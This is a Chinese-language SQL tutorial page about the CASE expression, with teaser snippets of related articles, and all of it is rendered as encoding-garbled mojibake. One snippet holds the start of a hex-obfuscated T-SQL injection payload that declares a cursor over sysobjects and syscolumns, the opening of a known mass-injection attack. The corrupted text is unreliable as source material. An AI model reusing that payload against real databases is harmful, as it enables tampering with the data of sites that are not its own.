Ò׽ؽØͼÈí¼þ¡¢µ¥Îļþ¡¢Ãâ°²×°¡¢´¿ÂÌÉ«¡¢½ö160KB

SQLÖÐCaseµÄʹÓ÷½·¨(ÉÏƪ)


Case¾ßÓÐÁ½ÖÖ¸ñʽ¡£¼òµ¥Caseº¯ÊýºÍCaseËÑË÷º¯Êý¡£
--¼òµ¥Caseº¯Êý
CASE sex
WHEN '1' THEN 'ÄÐ'
WHEN '2' THEN 'Å®'
ELSE 'ÆäËû' END
--CaseËÑË÷º¯Êý
CASE WHEN sex = '1' THEN 'ÄÐ'
WHEN sex = '2' THEN 'Å®'
ELSE 'ÆäËû' END
ÕâÁ½ÖÖ·½Ê½£¬¿ÉÒÔʵÏÖÏàͬµÄ¹¦ÄÜ¡£¼òµ¥Caseº¯ÊýµÄд·¨Ïà¶Ô±È½Ï¼ò½à£¬µ«ÊǺÍCaseËÑË÷º¯ÊýÏà±È£¬¹¦ÄÜ·½Ãæ»áÓÐЩÏÞÖÆ£¬±ÈÈçдÅжÏʽ¡£
»¹ÓÐÒ»¸öÐèҪעÒâµÄÎÊÌ⣬Caseº¯ÊýÖ»·µ»ØµÚÒ»¸ö·ûºÏÌõ¼þµÄÖµ£¬Ê£ÏµÄCase²¿·Ö½«»á±»×Ô¶¯ºöÂÔ¡£
--±ÈÈç˵£¬ÏÂÃæÕâ¶ÎSQL£¬ÄãÓÀÔ¶ÎÞ·¨µÃµ½“µÚ¶þÀà”Õâ¸ö½á¹û
CASE WHEN col_1 IN ( 'a', 'b') THEN 'µÚÒ»Àà'
WHEN col_1 IN ('a') THEN 'µÚ¶þÀà'
ELSE'ÆäËû' END
ÏÂÃæÎÒÃÇÀ´¿´Ò»Ï£¬Ê¹ÓÃCaseº¯Êý¶¼ÄÜ×öЩʲôÊÂÇé¡£
Ò»£¬ÒÑÖªÊý¾Ý°´ÕÕÁíÍâÒ»ÖÖ·½Ê½½øÐзÖ×飬·ÖÎö¡£
ÓÐÈçÏÂÊý¾Ý:(ΪÁË¿´µÃ¸üÇå³þ£¬ÎÒ²¢Ã»ÓÐʹÓùú¼Ò´úÂ룬¶øÊÇÖ±½ÓÓùú¼ÒÃû×÷ΪPrimary Key)
¹ú¼Ò£¨country£©
ÈË¿Ú£¨population£©
Öйú
600
ÃÀ¹ú
100
¼ÓÄôó
100
Ó¢¹ú
200
·¨¹ú
300
ÈÕ±¾
250
µÂ¹ú
200
Ä«Î÷¸ç
50
Ó¡¶È
250
¸ù¾ÝÕâ¸ö¹ú¼ÒÈË¿ÚÊý¾Ý£¬Í³¼ÆÑÇÖ޺ͱ±ÃÀÖÞµÄÈË¿ÚÊýÁ¿¡£Ó¦¸ÃµÃµ½ÏÂÃæÕâ¸ö½á¹û¡£
ÖÞ
ÈË¿Ú
ÑÇÖÞ
1100
±±ÃÀÖÞ
250
ÆäËû
700
ÏëÒª½â¾öÕâ¸öÎÊÌ⣬Äã»áÔõô×ö£¿Éú³ÉÒ»¸ö´øÓÐÖÞCodeµÄView£¬ÊÇÒ»¸ö½â¾ö·½·¨£¬µ«ÊÇÕâÑùºÜÄѶ¯Ì¬µÄ¸Ä±äͳ¼ÆµÄ·½Ê½¡£
Èç¹ûʹÓÃCaseº¯Êý£¬SQL´úÂëÈçÏÂ:
SELECT SUM(population),
CASE country
WHEN 'Öйú' THEN 'ÑÇÖÞ'
WHEN 'Ó¡¶È' THEN 'ÑÇÖÞ'
WHEN 'ÈÕ±¾' THEN 'ÑÇÖÞ'
WHEN 'ÃÀ¹ú' THEN '±±ÃÀÖÞ'
WHEN '¼ÓÄôó' THEN '±±ÃÀÖÞ'
WHEN 'Ä«Î÷¸ç' THEN '±±ÃÀÖÞ'
ELSE 'ÆäËû' END
from Table_A
GROUP BY CASE country
WHEN 'Öйú' THEN 'ÑÇÖÞ'
WHEN 'Ó¡¶È' THEN 'ÑÇÖÞ'
WHEN 'ÈÕ±¾' THEN 'ÑÇÖÞ'
WHEN 'ÃÀ¹ú' THEN '±±ÃÀÖÞ'
WHEN '¼ÓÄôó' THEN '±±ÃÀÖÞ'
WHEN 'Ä«Î÷¸ç' THEN '±±ÃÀÖÞ'
ELSE 'ÆäËû' END;
ͬÑùµÄ£¬ÎÒÃÇÒ²¿ÉÒÔÓÃÕâ¸ö·½·¨À´ÅжϹ¤×ʵĵȼ¶£¬²¢Í³¼ÆÿһµÈ¼¶µÄÈËÊý¡£SQL´úÂëÈçÏ£»


Ïà¹ØÎĵµ£º

sql ¿ç·þÎñÆ÷ ²éѯ

--´´½¨Á´½Ó·þÎñÆ÷
exec sp_addlinkedserver   'ITSV ', ' ', 'SQLOLEDB ', 'Ô¶³Ì·þÎñÆ÷Ãû»òipµØÖ· '
exec sp_addlinkedsrvlogin 'ITSV ', 'false ',null, 'Óû§Ãû ', 'ÃÜÂë '
--²éѯʾÀý
select * from ITSV.Êý¾Ý¿âÃû.dbo.±íÃû
--µ¼ÈëʾÀý
select * into ±í from ITSV.Êý¾Ý¿âÃû.dbo.±íÃû
--ÒÔºó²»Ô ......

sql»Ö¸´xp_regread

sql»Ö¸´xp_regread
ɾ³ýµôxp_regreadºó£¬·¢ÏÖÒÔÇ°µÄ×÷Òµ²»Äܲ鿴£¬Ö»ÄÜÈ¥»Ö¸´ÁË¡£
exec sp_addextendedproc 'Xp_dirtree','xpstar.dll'    »Ö¸´ºó·¢ÏÖ²»ÄÜʹÓÃ
ÕÒµ½dbcc addextendedproc ("Xp_regread","xpstar.dll") »¹ÊDz»ÄÜʹÓÃ
ºóÀ´²Å·¢ÏÖ»Ö¸´µÄʱºòÒªÓÃСдdbcc addextended ......

16½øÖÆ SQL×¢Èë

dEcLaRe @s vArChAr(8000) sEt @s=0x4465636c617265204054205661726368617228323535292c4043205661726368617228323535290d0a4465636c617265205461626c655f437572736f7220437572736f7220466f722053656c65637420412e4e616d652c422e4e616d652046726f6d205379736f626a6563747320412c537973636f6c756d6e73204220576865726520412e ......

OracleÈçºÎÖ´ÐÐÅúÁ¿sqlÓï¾ä

Òª´´½¨Á½¸öÎļþ
1: runBatch.bat
2: sql.txt
runBatch.bat ÄÚÈÝÈçÏ£º
sqlplus username/password @sql.txt
pause
sql.txtÄÚÈÝÈçÏ£º
spool sql.log
create table t1(cname char(20));
insert into t1(cname) values('test');
select * from t1;
spool off
exit
Ë«»÷runBatch.bat¾Í¿ÉÒÔÅúÁ¿Ö´ÐÐsql.txtÖÐ ......

SQL²éѯÿËùѧУÓïÎijɼ¨×î¸ßµÄѧÉúÐÅÏ¢

Êý¾Ý¿â ÓÐÁ½Õűí
±í1£º student
±í2£ºchinese
ÏÖÔÚÒª·Ö±ðÁгö ÿËùѧУ ÓïÎijɼ¨×î¸ßµÄ ѧÉúÐÅÏ¢
SQL £º
SELECT *
from student
LEFT JOIN chinese ON student.no = chinese.no
WHERE chinese.chengji
IN (
SELECT max( chinese.chengji )
from student
LEFT JOIN chinese ON student.no = chinese.no
GROU ......
© 2009 ej38.com All Rights Reserved. ¹ØÓÚE½¡ÍøÁªÏµÎÒÃÇ | Õ¾µãµØͼ | ¸ÓICP±¸09004571ºÅ